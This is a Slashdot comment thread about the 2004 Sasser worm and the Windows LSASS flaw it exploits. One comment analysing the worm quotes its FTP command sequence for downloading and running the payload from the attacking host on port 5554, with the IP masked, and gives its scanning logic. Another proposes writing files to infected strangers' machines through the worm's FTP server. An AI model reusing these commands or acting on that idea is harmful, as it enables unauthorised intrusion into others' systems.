New Windows Worm on the Loose
Dynamoo writes "The Internet Storm Center has issued a Yellow Alert due to the spread of the Sasser worm exploiting Windows 2000 and XP machines through a documented flaw in the Local Security Authority Subsystem Service (LSASS) as described in Microsoft Bulletin MS04-011. Initial analysis seems to indicate classic Blaster-style worm behaviour. Right now I'm just getting a probe every 10 minutes or so on my firewall, but this is bound to escalate sharply as the pool of infected machines grows. Of course all good Windows-using Slashdotters visit Windows Update regularly and have a firewall, don't you? More information at Computer Associates, F-Secure, Symantec and McAfee."
the luxury of being behind a nat box with all ports off and not having to deal with such nonsense
What is this 'Windows Update' of which you speak?
Liberals call everyone Nazis yet they are the closest thing to it.
Mutexes are named consistently enough under Windows that I wish somebody would make a program that simply caught all attempts at gaining a mutex and popped up a dialog window if the mutex hadn't been seen before. This would stop most any new software from running without first checking with the user. This is no good for a server of course, but ideal for a workstation.
This would also be great for catching spyware crap installs, as well as things like the RealPlayer toolbar that keeps popping up adverts by default. Simply tell the mutex checker to decline the requested mutex from then on and it would have the mutex always fail from then on -- then those programs could never be run again.
A new worm?Oh, there it is.
Trolling is a art,
For anyone already infected, Microsoft has manual removal instructions for the worm, located here:
. asp
http://www.microsoft.com/security/incident/sasser
Atleast for me as the local consumer support guy.
Thanks Microsoft.
A smile crept across my face after reading this story and then noticing a microsoft ad underneath informing the reader that Windows Server cost of ownership is lower than Linux cost of ownership!
The add server must be based on Microsoft's new Irony.NET framework!
No need, I receive all the Windows critical updates by email. I don't know how I got subscribed to that mailing list, but it's damn convenient.
I have a Mac, you insensitive clod...
Where the value of X-Mailer: is the true measure of a man...
You know, normally these updates are available a good 3 or 4 months before the worm becomes available. This one was updated about 3 days ago. And MS claims to be beefing up their security efforts. ...
In light of this, would someone please explain why I would ever want a Mac? None of the really good viruses or worms are ever ported to it, no matter how successful they are!
I'm impressed that they got the headline right!
Seriously, hasn't MS learnt anything about the Internet yet? Why do they keep insisting to keep all of these ports open all the time? Why so many services running out of the box? Why can't people even close some of the listening ports?
If MS was any serious about security, they would have all ports closed be default. Or at least have a possiblity to closing them down during install.
It then connects to that shell, and executes the following commands (cleaned up to get past slasdot's junk filter):
open XXX.XXX.XXX.XXX 5554
anonymous
user
bin
get XXXXX_up.exe
bye
XXXXX_up.exe
If successful, those commands ftp to the attacking host, port 5554, and download the actual worm payload. That payload is executed, and the host is fully infected. It then opens an FTP port on port 5554, and begins scanning for vulnerable hosts. Here's the scanning logic, from symantec:
The IP addresses generated by the worm are distributed as follows:
50% are completely random
25% have the same first octet as the IP
address of the infected host
25% have the same first and second octet as the IP address of the infected host.
The worm starts 128 threads that scan randomly-chosen IP addresses. This demands a lot of CPU time and as a result an infected computer may be so slow as to be barely useable.
See:
From the call volume here at work (an ISP), I'd say a LOT. We went from 0 to a couple hundred in queue in an hour. That was last night. Today, it's still as strong.
The worm seems to install a ftp server on infected machines. So, wouldn't it be nice to have every box that detects a connection on port 554, reply with an upload of a new wallpaper to the infected windows box with some message like "install a firewall, moron"
I consider it a public service. Maybe you can even deduct the bandwith for the upload from you tax.
I REALLY hate working dial-up tech support.
(ring)
sigh....
In addition to TCP 1025, the following ports are vulnerable to the LSASS exploit: TCP 135, 139, 445, and 593. UDP 135, 137, 138, and 445.
t in /MS04-011.mspx
Sasser generates traffic on TCP ports 445, 5554 and 9996.
The patch for the vulnerability (MS04-011) can be installed through Windows Update or located at the following URL:
http://www.microsoft.com/technet/security/bulle
after reading this on the /. front page, i runned the windows update, that i don't visit for more than a year...
and after some time, a windows pops up with the text:
"The software you are instaling has not passed the Windows Logo testing to verify its compatibility with Windows XP. bla bla bla"
"This software will *not be instaled*. Contact your system administrator."
Ok, so i contact myself, and wonders what the hell?!?
I just give M$ a lot of information about the operating system that i'm running... they wrote the frign thing, and even so, they don't know what will run in it, or what will pass their own crap compatibility verification!
but well, that's it... i just click "OK" --the only button-- and see the same windows appears 3 times more... and blissfuly keep my ignorance of what's going on with the instalation.
Only consumer whores and other types of idiots choose to toss out the computer instead of just wiping the hard drive and installing something else.
How refreshing. A Slashdot article about a worm exploiting Windows, without the usual childish jibes. Or FUD. Or spelling mistakes. Well done, Dynamoo!
Of course, then came the comments... :-)
... if we replaced the posts of this thread with the messages posted after a previous worm-announcement, would anyone notice ? :)
;-)
Linux_Zealot says : 5 Insightful - I am using Linux now !
M$_wizard : 5 Interesting - Worms always appear after a security notice from Microsoft Knowledge Base ; so, openness is bad !
security_Teacher : 5 Insightful - Of course, no one should run anything as root but cricital administration tasks, and a firewall is essential.
n00b : -1 Troll - Windows Sucks !!!
Well... That's just a little... repetitive
After I changed email address, I couldn't figure out where I'd subscribed to that newsletter, either... I'd really like it back...
So for the past few days, I've had to live with part of my bandwidth getting chewed up by incoming packets that don't actually do anything but take up space. It effectively slowed the speed of downloads by about half. The rate of packets is starting to slow down now... finally (I guess as people patch their systems), but it still was highly annoying.
Anyways, I called my ISP when I first noticed it 3 days ago (after checking it with ethereal), and asked if they could help. They told me that this was caused by filesharing programs, which I knew wasn't the case becuase in fact the only port 445 stuff I've done is windows filesharing, and I've secured the one and only Windows system on my LAN against IP addresses other than other ones on my LAN from being able to access them. Needless to say, this answer did not impress me. Here I was, effectively being subjected to a DoS attack, and they are trying to tell me this is _my_ fault? Man, if I had any other choice for high speed internet, I'd be switching in a heartbeat.
Anyways, that's my story. Things like this totally bite because you can have a firewall and all the security precautions in the world, but worms like this still chew up your bandwidth.
File under 'M' for 'Manic ranting'
I pity my educational counterparts in other districts...one in particular has probably a dozen Win2K/W2K3 machines sitting outside the firewall...no protection whatsoever. No, they do not do regular updates...just when something breaks. Oh well, they'll just hire their friendly neighborhood MCSE consultants to come in at $150 an hour to "sell them some protection." It seems like it's always firefighting with Windows anymore...And no, I do NOT run Windows on any server in my district...
http://fedora.redhat.com
http://www.gentoo.org
http://www.debian.org
http://www.linux-mandrake.com
http://www.slackware.com
"Ha Ha!"
Nelson, various Simpsons episodes
No electrons were harmed creating this post, though some may have been subjected to electrical and/or magnetic fields.
I use the "redirect" feature of the packet filter to do the equivalent of proxy transparency on ports 135,139,445,4444,9996 to local ports with a local listener.
The Sasser worm starts 128 scanning threads to pseuod-random destinations, and on a fast machine can really pump out the packets. If you give it something to talk to on ports 445 and 9996, that considerably slows the scanning behavior.
I do not deploy Linux. Ever.
> If I was in charge of a university's computer systems,
> absolutely no proprietary, closed source software would be
> allowed anywhere on my network, especially not the parts
> accessible to students
So, preventing your students from being unable to run Mathematica, Maple, Matlab, Visual Studio,... is educationally beneficial in what way?
Yes, closed source software has problems. So does open source. An all-out ban either way helps no one and solves nothing.
You say "killing IE" like it's a bad thing.
Je fume. Tu fumes. Nous fûmes!
Using Symantec AV, I LiveUpdate'd signatures, only to find that it decared System32/w32sup.exe as a trojan and quarantined it.
Of course all good Windows-using Slashdotters visit Windows Update regularly and have a firewall, don't you?
Should read "Of course, all good Slashdotters patch their systems and have a firewall, don't you?".
Running something other than Windows is not a good reason to ignore security.